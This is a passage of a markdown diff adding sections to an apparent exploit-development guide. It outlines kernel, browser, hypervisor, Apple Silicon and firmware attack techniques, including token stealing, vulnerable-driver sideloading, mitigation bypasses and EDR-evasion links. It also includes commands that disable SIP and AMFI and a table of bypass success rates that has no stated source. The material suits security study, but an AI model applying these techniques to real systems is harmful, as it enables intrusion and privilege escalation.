+ !heap -p -a rcx # call stack information, what led to this object being freed
526
+ ```
527
+
528
+ ## Reproducibility & CI
529
+
530
+ Modern exploit chains should replay deterministically in CI so regressions are caught quickly.
531
+
532
+ ### GitHub Actions snippet
533
+
534
+ ```yaml
535
+ name: exploit-regression
536
+ on: [push, pull_request]
537
+ jobs:
538
+ replay:
539
+ runs-on: ubuntu-latest
540
+ steps:
541
+ - uses: actions/checkout@v4
542
+ - name: Build target container
543
+ run: docker build -t vulnapp ./docker
544
+ - name: Run exploit replay
545
+ run: scripts/repro.sh --ci --target vulnapp
546
+ ```
547
+
548
+ ### Tested‑With Tool Matrix
549
+
550
+ | Tool / Framework | Version | Platform tested |
551
+ | ------------------ | -------- | --------------- |
552
+ | IDA Pro | 8.4 SP1 | Windows 11 24H2 |
553
+ | Ghidra | 11.0.2 | Debian 12 |
554
+ | BinDiff | 10.8 | with IDA 8.4 |
555
+ | Ropper | 2.0.7 | CET‑aware build |
556
+ | rr (record/replay) | Latest | Ubuntu 24.04 |
557
+ | AFL++ | 4.10‑dev | snapshot mode |
558
+
559
+ > [!TIP]
560
+ > Keep this matrix in each PoC directory so future contributors can reproduce results exactly.
561
+
562
+ ## Special Topics
563
+
564
+ ### Kernel Exploitation
565
+
566
+ #### Goals
567
+
568
+ ##### Privilege Escalation
569
+
570
+ - Get SYSTEM Level Permissions
571
+ - Steal the system token (find and copy the system token `PID 4` and replace your own token )
572
+ - Patch privileges
573
+ - sideload legitimately signed but vulnerable drivers, then exploit IOCTL write‑what‑where to disable security features or gain kernel R/W.
574
+
575
+ ##### Code Execution
576
+
577
+ - Put unsigned code into the kernel via signed code
578
+ - Modify kernel objects and structures
579
+ - Pretend to be a driver
580
+ - Don't upset Patch Guard
581
+
582
+ ##### Environment Setup
583
+
584
+ - Check out [Windows Kernel Exploitation](/exploit/windows-kernel.md) for a detailed guide on setting up a kernel debugging environment
585
+
586
+ ### Modern Exploitation
587
+
588
+ - Check out [Modern Samples](/exploit/modern-samples.md) for real-world examples
589
+ - For EDR evasion techniques, see [EDR](/exploit/edr.md)
590
+
591
+ #### Memory‑Safe Language Exploits (Rust / Go / Swift)
592
+
593
+ - `unsafe` blocks: `Vec::from_raw_parts`, `std::ptr::copy_nonoverlapping`, and `mem::transmute` misuse.
594
+ - FFI boundary bugs when calling into C libraries (size mismatch, lifetime errors).
595
+ - UB‑triggered out‑of‑bounds in WASM runtimes compiled from Rust.
596
+
597
+ ### Browser Exploitation
598
+
599
+ - V8 TurboFan / Ignition JIT type‑confusion patterns and inline‑cache poisoning.
600
+ - Sandbox escapes via Mojo/IPC race conditions and shared‑memory UAFs.
601
+ - Site‑Isolation info‑leak techniques to defeat renderer‑process ASLR.
602
+
603
+ ### Hypervisor & Container Exploitation
604
+
605
+ - VMware `Vmxnet3`, Hyper‑V enlightened IOMMU bugs, and QEMU `vhost‑user` integer overflows.
606
+ - `runC` / CRI‑O escape using malformed `seccomp` filters or WASM shims.
607
+ - Windows VBS disable paths through registry or vulnerable driver injection.
608
+
609
+ ### Mobile Exploitation (iOS / Android)
610
+
611
+ - iOS Pointer Authentication Code (PAC) bypass using JOP chains and `ptrauth_sign_unauthenticated`.
612
+ - ARM Memory Tagging Extension (MTE) "sloppy‑tag" brute force and speculative **TikTag** leaks raise bypass reliability to ≈ 95 % on Android 14+; prepare a fallback ROP/JOP chain.
613
+ - Binder and ION heap UAF primitives for privilege escalation.
614
+
615
+ #### Apple Silicon (M1/M2/M3/M4) Exploitation
616
+
617
+ Modern Apple Silicon devices introduce unique security features and attack surfaces requiring specialized techniques.
618
+
619
+ ##### Hardware Security Features
620
+
621
+ - **Pointer Authentication Code (PAC)**
622
+
623
+ - `PACIA`/`PACIB` instructions create cryptographic signatures for return addresses and function pointers
624
+ - **Bypass techniques**: JOP chains using `AUTIA`/`AUTIB` gadgets, `ptrauth_sign_unauthenticated` abuse, speculative PAC oracle attacks
625
+ - Key management via `APIAKey` and `APIBKey` in system registers
626
+
627
+ - **Memory Tagging Extension (MTE)**
628
+
629
+ - 4‑bit tags in upper address bits provide spatial and temporal memory safety
630
+ - **Tag‑and‑sync bypass**: craft adjacent allocations with predictable tag patterns
631
+ - **Speculative tag leaks**: use micro‑architectural side‑channels to read tag values
632
+
633
+ - **Hypervisor.framework Exploitation**
634
+ - Type‑1 hypervisor running at EL2 with guest VMs at EL1
635
+ - **Attack surface**: virtio device emulation, memory mapping hypercalls, interrupt injection
636
+ - **Guest‑to‑host escape**: corrupt VTCR_EL2 stage‑2 translation tables or abuse SMCCC interface
637
+
638
+ ##### macOS‑Specific Attack Vectors
639
+
640
+ - **XPC Service Exploitation**
641
+
642
+ - Mach message parsing vulnerabilities in system services
643
+ - **Privilege escalation**: target `com.apple.security.syspolicy` or `com.apple.windowserver` for TCC bypass
644
+ - **Race conditions**: exploit concurrent XPC message handling in multi‑threaded services
645
+
646
+ - **Kernel Extension Loading**
647
+
648
+ - System Integrity Protection (SIP) and Kernel Integrity Protection (KIP) bypass
649
+ - **Technique**: abuse signed third‑party kexts with write‑what‑where primitives
650
+ - **Post‑exploitation**: disable SMEP/SMAP via `SCTLR_EL1` manipulation
651
+
652
+ - **iOS/iPadOS Kernel Exploitation**
653
+ - Zone allocator corruption via IOSurface or AGXAccelerator drivers
654
+ - **Technique**: heap feng‑shui with predictable allocation patterns in `kalloc.16` or `kalloc.32` zones
655
+ - **Sandbox escape**: corrupt task port to gain `host_special_port` access
656
+
657
+ ##### Debugging & Analysis Setup
658
+
659
+ ```bash
660
+ # Enable SIP bypass for kernel debugging (requires physical access)
661
+ csrutil disable --without kext --without debug
662
+
663
+ # LLDB kernel debugging setup
664
+ sudo nvram boot-args="debug=0x141 kext-dev-mode=1 amfi_get_out_of_my_way=1"
665
+
666
+ # PAC analysis with jtool2/iOS App Store extraction
667
+ jtool2 -d __TEXT.__text binary | grep -E "(PACIA|PACIB|AUTIA|AUTIB)"
668
+
669
+ # MTE tag analysis (requires iOS 16+ device with checkra1n/palera1n jailbreak)
670
+ ldid -S entitlements.plist target_binary # Add get-task-allow for debugging
671
+ ```
672
+
673
+ ##### Mitigation Matrix (Apple Silicon)
674
+
675
+ | Mitigation | Coverage | Bypass Technique | Success Rate |
676
+ | ---------------------------------- | --------------------------- | ---------------------- | ------------ |
677
+ | PAC | Return addresses, func ptrs | JOP/speculative oracle | ~70% |
678
+ | MTE | Heap/stack OOB, UAF | Tag brute‑force/TikTag | ~85% |
679
+ | PPL (Page Protection Layer) | Kernel code pages | Hypervisor escape | ~40% |
680
+ | KTRR (Kernel Text Readonly Region) | Kernel .text segment | Hardware vuln required | <10% |
681
+
682
+ ### Micro‑architectural & Speculative‑Execution Attacks
683
+
684
+ - Latest side‑channels: Retbleed, Downfall, Zenbleed, Inception (SRSO), SQUIP.
685
+ - Info‑leak primitives to derandomize ASLR or read kernel memory from user space.
686
+ - Mitigations: `IBPB`, `IBRS`, and fine‑grained hardware fences.
687
+
688
+ ### eBPF & I/O Ring Kernel Primitives
689
+
690
+ - Craft verifier‑confusion jumps to obtain out‑of‑bounds read/write in eBPF JIT.
691
+ - Use Windows I/O Ring urb‑array double fetch to write kernel pointers.
692
+ - Post‑exploitation: pivot from arbitrary write to token‑stealing or privilege escalation.
693
+
694
+ ### Firmware & UEFI Exploitation
695
+
696
+ - DXE driver relocation overflows and SMM call‑gate confusion for persistence.
697
+ - Exploiting capsule updates to downgrade firmware protections.
698
+ - Detecting and disabling Secure Boot from within UEFI runtime services.
699
+